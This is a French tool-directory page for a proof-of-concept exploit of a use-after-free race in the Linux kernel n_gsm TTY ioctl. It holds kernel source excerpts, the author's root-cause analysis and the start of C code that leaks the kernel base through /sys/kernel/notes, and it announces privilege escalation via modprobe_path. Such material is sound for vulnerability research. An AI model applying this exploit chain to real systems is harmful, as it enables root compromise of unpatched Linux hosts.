Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
n_gsm_exploit — PoC d'exploitation use-after-free de l'ioctl TTY n_gsm du noyau Linux : analyse de condition de course, fuite de la base du noyau, heap spray, détournement de RIP, écriture arbitraire et élévation de privilèges via modprobe_path. | Kitploit
Outils/GitHubGitHub/gmh5225/n_gsm_exploit
Escalade de PrivilègesCriminalistique MémoireAnalyse des VulnérabilitésExploitationExploitation de Binaires
GitHubgmh5225/n_gsm_exploit

n_gsm_exploit

PoC d'exploitation use-after-free de l'ioctl TTY n_gsm du noyau Linux : analyse de condition de course, fuite de la base du noyau, heap spray, détournement de RIP, écriture arbitraire et élévation de privilèges via modprobe_path.

Voir le dépôt
1il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Cela semble toujours être un 0-day. Je n'avais pas l'intention de publier cet exploit avant que la vulnérabilité ne soit corrigée, mais un exploit 0-day a été publié par un autre chercheur ayant trouvé la même vulnérabilité, j'ai donc publié mon code également. Veuillez l'utiliser à des fins de recherche uniquement.

RCA

  • Le TTY du noyau Linux prend en charge le protocole de multiplexage GSM 07.10.
    • https://docs.kernel.org/driver-api/tty/n_gsm.html
    • https://github.com/torvalds/linux/blob/master/drivers/tty/n_gsm.c
  • Lorsqu'un ioctl est demandé pour GSM, les fonctions suivantes sont exécutées dans le noyau :

[1] GSMIOC_SETCONF : Réinitialise la configuration de GSM.

[2] GSMIOC_GETCONF_DLCI : Récupère la configuration DLCI associée à GSM.

[3] GSMIOC_SETCONF_DLCI : Modifie la configuration DLCI associée à GSM.

static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
		       unsigned long arg)
{
...
	case GSMIOC_SETCONF:
		if (copy_from_user(&c, (void __user *)arg, sizeof(c)))
			return -EFAULT;
		return gsm_config(gsm, &c);//[1]
....
	case GSMIOC_GETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
			return -EFAULT;
		if (dc.channel == 0 || dc.channel >= NUM_DLCI)
			return -EINVAL;
		addr = array_index_nospec(dc.channel, NUM_DLCI);
		dlci = gsm->dlci[addr];
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
		gsm_dlci_copy_config_values(dlci, &dc);//[2]
		if (copy_to_user((void __user *)arg, &dc, sizeof(dc)))
			return -EFAULT;
		return 0;
	case GSMIOC_SETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
			return -EFAULT;
		if (dc.channel == 0 || dc.channel >= NUM_DLCI)
			return -EINVAL;
		addr = array_index_nospec(dc.channel, NUM_DLCI);
		dlci = gsm->dlci[addr];
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
		return gsm_dlci_config(dlci, &dc, 0);//[3]
	default:
		return n_tty_ioctl_helper(tty, cmd, arg);
	}
}
  • Examinons d'abord GSMIOC_SETCONF, qui modifie la configuration de GSM.

  • [1] Si la configuration actuelle de GSM diffère de la nouvelle configuration, need_restart est marqué comme true.

    [2] Si need_restart est true, le GSM actuel est terminé via gsm_cleanup_mux.

static int gsm_config(struct gsm_mux *gsm, struct gsm_config *c)
{
	int need_close = 0;
	int need_restart = 0;

...
	if (c->mtu != gsm->mtu)//[1]
		need_restart = 1;

	/*
	 * Close down what is needed, restart and initiate the new
	 * configuration. On the first time there is no DLCI[0]
	 * and closing or cleaning up is not necessary.
	 */
	if (need_close || need_restart)
		gsm_cleanup_mux(gsm, true);//[2]

...
	return 0;
}

[1] Tous les DLCI possédés par GSM sont libérés via gsm_dlci_release.

static void gsm_cleanup_mux(struct gsm_mux *gsm, bool disc)
{
	int i;
	struct gsm_dlci *dlci;
	struct gsm_msg *txq, *ntxq;

	gsm->dead = true;
	mutex_lock(&gsm->mutex);

...
	for (i = NUM_DLCI - 1; i >= 0; i--)
		if (gsm->dlci[i]){
			gsm_dlci_release(gsm->dlci[i]);//[1]
		}

...
}
  • Ensuite, les fonctions sont appelées dans l'ordre suivant :

    • gsm_dlci_release → dlci_put → gsm_dlci_free

    [1] NULL est affecté à gsm->dlci[addr] pour empêcher une utilisation après libération (Use-After-Free, UAF).

    [2] Ensuite, gsm->dlci[addr] est libéré à l'aide de kfree.

static void gsm_dlci_free(struct tty_port *port)
{
	struct gsm_dlci *dlci = container_of(port, struct gsm_dlci, port);

	timer_shutdown_sync(&dlci->t1);
	dlci->gsm->dlci[dlci->addr] = NULL;//[1]
	kfifo_free(&dlci->fifo);
	while ((dlci->skb = skb_dequeue(&dlci->skb_list)))
		dev_kfree_skb(dlci->skb);
	kfree(dlci);//[2]

}

GSMIOC_SETCONF_DLCI

  • Examinons GSMIOC_SETCONF_DLCI, qui modifie les valeurs de configuration d'un DLCI détenu par GSM.

  • [1] Lit la configuration du DLCI, y compris l'adresse (addr), depuis l'utilisateur.

    [2] Référence gsm->dlci[addr].

    [3] Appelle gsm_dlci_config pour modifier la configuration du DLCI.

static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
		       unsigned long arg)
{
...
	case GSMIOC_SETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))//[1]
			return -EFAULT;
		if (dc.channel == 0 || dc.channel >= NUM_DLCI)
			return -EINVAL;
		addr = array_index_nospec(dc.channel, NUM_DLCI);
		dlci = gsm->dlci[addr];//[2]
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
		return gsm_dlci_config(dlci, &dc, 0);//[3]
...
}

[1] Définit need_open sur true en fonction des options transmises par l'utilisateur.

[2] Attend que dlci->state devienne DLCI_CLOSED.

[3] Si seul gsm->initiator est vrai, la fonction gsm_dlci_begin_open est appelée pour redémarrer le DLCI.

static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
	struct gsm_mux *gsm;
	bool need_restart = false;
	bool need_open = false;
	unsigned int i;

...
	if (dc->flags & GSM_FL_RESTART)
		need_restart = true;

	if ((open && gsm->wait_config) || need_restart)//[1]
		need_open = true;
	if (dlci->state == DLCI_WAITING_CONFIG) {
		need_restart = false;
		need_open = true;
	}

	/*
	 * Close down what is needed, restart and initiate the new
	 * configuration.
	 */
	if (need_restart) {
		gsm_dlci_begin_close(dlci);
		wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[2]
		if (signal_pending(current))
			return -EINTR;
	}
...
	if (need_open) {
		if (gsm->initiator)
			gsm_dlci_begin_open(dlci);//[3]
		else
			gsm_dlci_set_opening(dlci);
	}

	return 0;
}

vulnérabilité

[1] Accède à gsm->dlci sans verrou.

[1] gsm_dlci_config accède à dlci. Si gsm_cleanup_mux a été appelé à cause de GSMIOC_SETCONF, une condition de concurrence peut entraîner un Use-After-Free (UAF).

  • Dans des circonstances normales, la condition est remplie en très peu de temps, et wakeup est appelé.
  • Si un UAF se produit, à moins qu'un IOCTL différent ne soit demandé depuis le niveau utilisateur pour appeler la routine wakeup, il entre dans une attente infinie.
  • Par conséquent, un attaquant peut déterminer si un UAF a été déclenché en mesurant la durée jusqu'à l'achèvement de l'IOCTL.
static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
...
	/*
	 * Close down what is needed, restart and initiate the new
	 * configuration.
	 */
	if (need_restart) {
		gsm_dlci_begin_close(dlci);
		wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[1]
		if (signal_pending(current))
			return -EINTR;
		}
	...
  • Pendant l'attente dans wait_event_interruptible, GSM est redémarré par threadFunction2.
    • Le DLCI référencé par GSM est libéré par kfree, et le DLCI référencé par wait_event_interruptible est également libéré par kfree.
    • Dans un tel scénario, comme l'IOCTL met beaucoup de temps à se terminer, il est facile de détecter depuis l'espace utilisateur qu'une Use-After-Free (UAF) s'est produite.

Fuite de la base du noyau

  • L'adresse de hypercall_page du noyau est écrite dans /sys/kernel/notes, qui est lisible par les utilisateurs ordinaires. Par conséquent, un attaquant peut lire ce fichier pour divulguer la base du noyau.
unsigned long get_kernel_base(){
    const char *filePath = "/sys/kernel/notes";
    const char pattern[] = "Xen\\x00";
    FILE *file;
    uint8_t buffer[1024];
    size_t bytesRead;
    int found = 0;
Télécharger l’outil